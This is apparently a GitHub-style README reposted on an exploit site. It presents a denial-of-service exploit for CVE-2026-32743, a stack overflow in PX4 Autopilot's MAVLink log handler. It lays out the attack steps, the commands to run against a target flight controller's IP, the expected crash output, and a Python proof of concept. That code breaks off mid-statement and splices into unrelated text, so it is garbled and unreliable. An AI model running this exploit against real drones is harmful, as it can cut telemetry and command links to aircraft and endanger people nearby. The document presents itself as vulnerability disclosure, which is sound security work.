Share
## https://sploitus.com/exploit?id=995BBC30-CEE5-5D4C-AAAC-4B6A991BB7CF
# CVE-2026-32743 - PX4 Autopilot MavlinkLogHandler Stack Buffer Overflow (DoS)

[![CVE-2026-32743](https://img.shields.io/badge/CVE-2026--32743-red)](https://vulners.com/cve/CVE-2026-32743)
[![CVSS](https://img.shields.io/badge/CVSS-7.5%20(High)-orange)](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
[![CWE](https://img.shields.io/badge/CWE-121%20(Stack%20Buffer%20Overflow)-blue)](https://cwe.mitre.org/data/definitions/121.html)
[![PX4](https://img.shields.io/badge/PX4-≀1.17.0--rc2-critical)](https://px4.io/)
[![Exploit](https://img.shields.io/badge/Exploit-DoS-red)](#)
[![License](https://img.shields.io/badge/License-MIT-green)](LICENSE)
[![Python](https://img.shields.io/badge/Python-3.6%2B-yellow)](https://python.org)


[![GitHub](https://img.shields.io/badge/GitHub-mbanyamer-181717?logo=github)](https://github.com/mbanyamer)
[![Instagram](https://img.shields.io/badge/Instagram-@banyamer_security-E4405F?logo=instagram)](https://instagram.com/banyamer_security)
[![Twitter](https://img.shields.io/badge/Twitter-@banyamer_sec-1DA1F2?logo=twitter)](https://twitter.com/banyamer_sec)

---

## πŸ“œ Description

**CVE-2026-32743** is a **stack‑based buffer overflow** in the `MavlinkLogHandler` of PX4 Autopilot versions **≀1.17.0-rc2**.  
The `LogEntry.filepath` buffer is only **60 bytes**, but `sscanf()` parses log directory paths **without a width specifier**.  

An attacker with **MAVLink link access** can:

1. Use **MAVLink FTP** to create a deeply nested directory (path length > 60 bytes) inside `/fs/microsd/log/`.
2. Request the log list via `MAV_CMD_REQUEST_LOG_LIST`.
3. The vulnerable `MavlinkLogHandler` copies the long path into the 60‑byte buffer β†’ **stack overflow**.
4. The MAVLink task crashes β†’ **loss of telemetry and command capability** β†’ **persistent Denial of Service** (until reboot).

**Fixed in**: [commit 616b25a](https://github.com/PX4/PX4-Autopilot/commit/616b25a280e229c24d5cf12a03dbf248df89c474) (added width specifier to `sscanf`).

---

## πŸ”₯ Attack Flow Diagram

```mermaid
sequenceDiagram
    participant Attacker
    participant PX4 as PX4 Flight Controller
    participant SD as SD Card (/fs/microsd/log/)

    Attacker->>PX4: 1. Open MAVLink connection (UDP 14550)
    PX4-->>Attacker: Heartbeat (system/component IDs)
    
    Note over Attacker,PX4: Step 2: Create long directory via MAVLink FTP
    Attacker->>PX4: MAVLink FTP: OpenFile( path = "/fs/microsd/log/" + "A"*70, flags=O_CREAT|O_DIRECTORY )
    PX4->>SD: Create directory (named 70Γ—'A')
    SD-->>PX4: OK
    
    Note over Attacker,PX4: Step 3: Trigger overflow by requesting log list
    Attacker->>PX4: MAV_CMD_REQUEST_LOG_LIST (command 261)
    PX4->>PX4: MavlinkLogHandler::list() reads log directory
    PX4->>PX4: sscanf(path, "%s", LogEntry.filepath)  ← NO width limit!
    Note right of PX4: Buffer overflow: 70 bytes written into 60-byte buffer
    PX4--xAttacker: MAVLink task crashes β†’ no more heartbeats/commands
    Note over Attacker,PX4: βœ… DoS achieved – flight controller unmanageable
```

---

## βš™οΈ Prerequisites

- **Target running PX4** ≀ `1.17.0-rc2` with **SD card** mounted (logs stored in `/fs/microsd/log/`).
- **MAVLink FTP enabled** (default on most PX4 builds).
- **Network access** to the flight controller’s MAVLink UDP port (default `14550`).
- **Python 3.6+** with `pymavlink` installed:
  ```bash
  pip install pymavlink
  ```

---

## πŸš€ Usage

```bash
git clone https://github.com/mbanyamer/CVE-2026-32743-PoC
cd CVE-2026-32743-PoC
python3 exploit.py  [--port ]
```

| Argument     | Description                          | Default   |
|--------------|--------------------------------------|-----------|
| `target_ip`  | IP address of the flight controller  | *required*|
| `--port`     | MAVLink UDP port                     | `14550`   |

### Example
```bash
python3 exploit.py 192.168.1.10 --port 14550
```

**Expected output** (successful DoS):
```
[*] Connecting to MAVLink target: 192.168.1.10:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (length 80 bytes)
[+] Directory created (or already existed).
[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!
```

---

## πŸ“„ PoC Code

```python
#!/usr/bin/env python3
# Exploit Title: PX4 Autopilot MavlinkLogHandler Stack Buffer Overflow (DoS)
# CVE: CVE-2026-32743
# Date: 2026-05-08
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://px4.io/
# Software Link: https://github.com/PX4/PX4-Autopilot
#   Affected: Versions 1.17.0-rc2 and below
# Tested on: PX4 v1.17.0-rc2 (Pixhawk)
# Category: DoS
# Platform: Embedded (PX4 Autopilot)
# Exploit Type: Stack-based Buffer Overflow
# CVSS: 7.5 (High)
# CWE: CWE-121
# Description: Creates an overly long directory via MAVLink FTP, then requests log list.
# Fixed in: https://github.com/PX4/PX4-Autopilot/commit/616b25a
# Usage: python3 exploit.py  [--port ]

print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
β•‘                                                                                            β•‘
β•‘   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—                     β•‘
β•‘   β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—                    β•‘
β•‘   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•                    β•‘
β•‘   β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β•šβ–ˆβ–ˆβ•”β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—                    β•‘
β•‘   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘                    β•‘
β•‘   β•šβ•β•β•β•β•β• β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•β•β•   β•šβ•β•   β•šβ•β•  β•šβ•β•β•šβ•β•     β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•                    β•‘
β•‘                                                                                            β•‘
β•‘                         [ b a n y a m e r _ s e c u r i t y ]                              β•‘
β•‘                                                                                            β•‘
β•‘                  β–Έ Silent Hunter  |  Shadow Presence  |  Digital Intel β—‚                  β•‘
β•‘                                                                                            β•‘
β•‘   Operator : Mohammed Idrees Banyamer  β€’  Jordan πŸ‡―πŸ‡΄                                       β•‘
β•‘   Handle   : @banyamer_security                                                           β•‘
β•‘                                                                                            β•‘
β•‘   Exploit  : CVE-2026-32743                                                               β•‘
β•‘   Target   : PX4 Autopilot β€’ MAVLink β€’ Log Handler                                         β•‘
β•‘                                                                                            β•‘
β•‘   Status   : ACTIVE                                                                       β•‘
β•‘                                                                                            β•‘
β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•
""")

import time
import struct
import argparse
from pymavlink import mavutil
from pymavlink.dialects.v20 import common as mavlink2

def send_ftp_command(mav, seq, payload):
    msg = mav.file_transfer_protocol_encode(
        target_system=mav.target_system,
        target_component=mav.target_component,
        payload=payload
    )
    mav.mav.send(msg)

def ftp_create_directory(mav, path):
    O_CREAT = 0x04
    O_DIRECTORY = 0x08
    seq = 1
    path_bytes = path.encode('utf-8') + b'\x00'
    payload = struct.pack(' *"Silent Hunter | Shadow Presence | Digital Intel"*

---

## ⚠️ Disclaimer

This proof of concept (PoC) is intended **solely for educational and defensive purposes**.  
Unauthorized use against systems you do not own or have explicit permission to test is **illegal**.  
The author assumes **no liability** for any misuse or damage caused by this software.

---

## πŸ“œ License

This project is licensed under the **MIT License** – see the [LICENSE](LICENSE) file for details.  
Feel free to use, modify, and distribute with attribution.

---

## ⭐ Star this repo if you found it useful!  
[![GitHub stars](https://img.shields.io/github/stars/mbanyamer/CVE-2026-32743-PoC?style=social)](https://github.com/mbanyamer/CVE-2026-32743-PoC/stargazers)